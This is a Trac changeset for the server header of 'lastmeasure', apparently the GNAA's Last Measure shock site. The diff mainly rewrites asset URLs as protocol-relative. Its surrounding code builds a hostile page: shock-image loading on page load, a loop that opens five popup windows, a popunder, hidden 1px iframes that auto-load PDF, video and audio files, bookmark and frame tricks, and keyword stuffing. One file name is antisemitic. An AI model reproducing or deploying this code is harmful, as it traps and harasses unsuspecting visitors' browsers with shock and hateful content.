Changeset 639 for trollforge/lastmeasure
- Timestamp:
- 01/20/12 00:53:37 (16 months ago)
- File:
-
- 1 edited
-
trollforge/lastmeasure/server/lmresource.h (modified) (11 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/lmresource.h
r638 r639 140 140 " </script>\r\n" 141 141 " <link rel=\"icon\" type=\"image/x-icon\" " 142 "href=\" http://" << host << "/favicon.ico\" />\r\n"142 "href=\"//" << host << "/favicon.ico\" />\r\n" 143 143 " <link rel=\"shortcut icon\" type=\"image/x-icon\" " 144 "href=\" http://" << host << "/favicon.ico\" />\r\n"144 "href=\"//" << host << "/favicon.ico\" />\r\n" 145 145 " <style type=\"text/css\">\r\n" 146 146 " html { height: 100%; width: 100%; overflow: hidden; }\r\n" … … 149 149 " </head>\r\n" 150 150 151 " <body style=\"background-image: url( http://" << host151 " <body style=\"background-image: url(//" << host 152 152 << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\"" 153 153 "\r\n onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); "; … … 171 171 } 172 172 173 data <<173 data << 174 174 175 175 "<table>\r\n" … … 177 177 " <td valign=\"middle\">\r\n" 178 178 " <div style=\"text-align: center;\">\r\n" 179 " <a href=\"http://www.gnaa.eu/\"><img src=\" http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"179 " <a href=\"http://www.gnaa.eu/\"><img src=\"//" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n" 180 180 " <br />\r\n" 181 181 " <br />\r\n"; 182 182 183 if (is_popup) 184 { 185 flash = "second_opener.swf"; 186 } else { 187 flash = "first_opener.swf"; 188 } 189 190 if(!is_ie6) 191 { 192 data << 183 if (!is_ie6) 184 { 185 flash = is_popup ? "second_opener.swf" : "first_opener.swf"; 186 data << 193 187 194 188 "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 195 189 "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n" 196 " <param name=\"movie\" value=\" http://" << host << "/flash/" << flash << "\" />\r\n"190 " <param name=\"movie\" value=\"//" << host << "/flash/" << flash << "\" />\r\n" 197 191 " <param name=\"quality\" value=\"high\" />\r\n" 198 192 "</object>\r\n"; 199 } 200 201 data << 202 193 } 194 195 data << 203 196 " </div>\r\n" 204 197 " </td>\r\n" … … 212 205 "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 213 206 "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n" 214 " <param name=\"movie\" value=\" http://" << host << "/flash/hey.swf\" />\r\n"207 " <param name=\"movie\" value=\"//" << host << "/flash/hey.swf\" />\r\n" 215 208 " <param name=\"quality\" value=\"high\" />\r\n" 216 209 "</object>\r\n" … … 223 216 i = FindAssetIndex("/audio/", i)) 224 217 { 225 data << " audio[" << n << "] = ' http://"218 data << " audio[" << n << "] = '//" 226 219 << host << "" << staticnames[i] << "';\r\n"; 227 220 } … … 238 231 "</div>\r\n" 239 232 "<div>\r\n" 240 "<iframe style=\"width: 1px; height: 1px;\" src=\" http://" << host << "/lm.pdf\"></iframe>\r\n"241 "<iframe style=\"width: 1px; height: 1px;\" src=\" http://" << host << "/lm2.pdf\"></iframe>\r\n"242 "<iframe style=\"width: 1px; height: 1px;\" src=\" http://" << host << "/jews.wmv\"></iframe>\r\n"243 "<iframe style=\"width: 1px; height: 1px;\" src=\" http://" << host << "/gnaa.mp3\"></iframe>\r\n"233 "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm.pdf\"></iframe>\r\n" 234 "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm2.pdf\"></iframe>\r\n" 235 "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/jews.wmv\"></iframe>\r\n" 236 "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/gnaa.mp3\"></iframe>\r\n" 244 237 "<div id=\"goatse\">yes hello</div>\r\n" 245 238 "<br />\r\n" << Random::Keywords(128) << "</div>\r\n"; 246 239 } 247 240 248 data << " </body>\r\n"; 249 /* XXX: We should just LM them here, right? -- Leon */ 250 data << "<html><body><p>You are asking for " 251 << resource << ". You could also ask for <a href=\"http://" 252 << host << "/" << rand() 253 << "\">something else</a>.</p>" 254 << "<img src=\"http://" << host << "" << RandomAsset(IMAGES_PREFIX) << "\" />" 255 << "</body></html>"; 241 data << " </body>\r\n"; 242 256 243 return Response(data.str(), "text/html"); 257 244 } … … 353 340 "goatseflash = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n" 354 341 "goatseflash += \" <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n" 355 "goatseflash += \" <param name='movie' value=' http://" << host << "/flash/hello.swf' />\";\r\n"342 "goatseflash += \" <param name='movie' value='//" << host << "/flash/hello.swf' />\";\r\n" 356 343 "goatseflash += \" <param name='wmode' value='transparent' />\";\r\n" 357 344 "goatseflash += \" </object>\";\r\n" … … 487 474 i = FindAssetIndex(IMAGES_PREFIX, i)) 488 475 { 489 ret << " images[" << n << "] = ' http://" << host << "" << staticnames[i] << "';\r\n";476 ret << " images[" << n << "] = '//" << host << "" << staticnames[i] << "';\r\n"; 490 477 } 491 478 … … 552 539 " function shellscript() {\r\n" 553 540 " for(i = 0; i < 5; i++) {\r\n" 554 " open(' http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"541 " open('//" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n" 555 542 " }\r\n" 556 543 " }\r\n" … … 626 613 627 614 "function doPopUnder() {\r\n" 628 " var win = popunder(' http://" << host << "/');\r\n"615 " var win = popunder('//" << host << "/');\r\n" 629 616 " return true;\r\n" 630 617 "}\r\n";
Note: See TracChangeset
for help on using the changeset viewer.
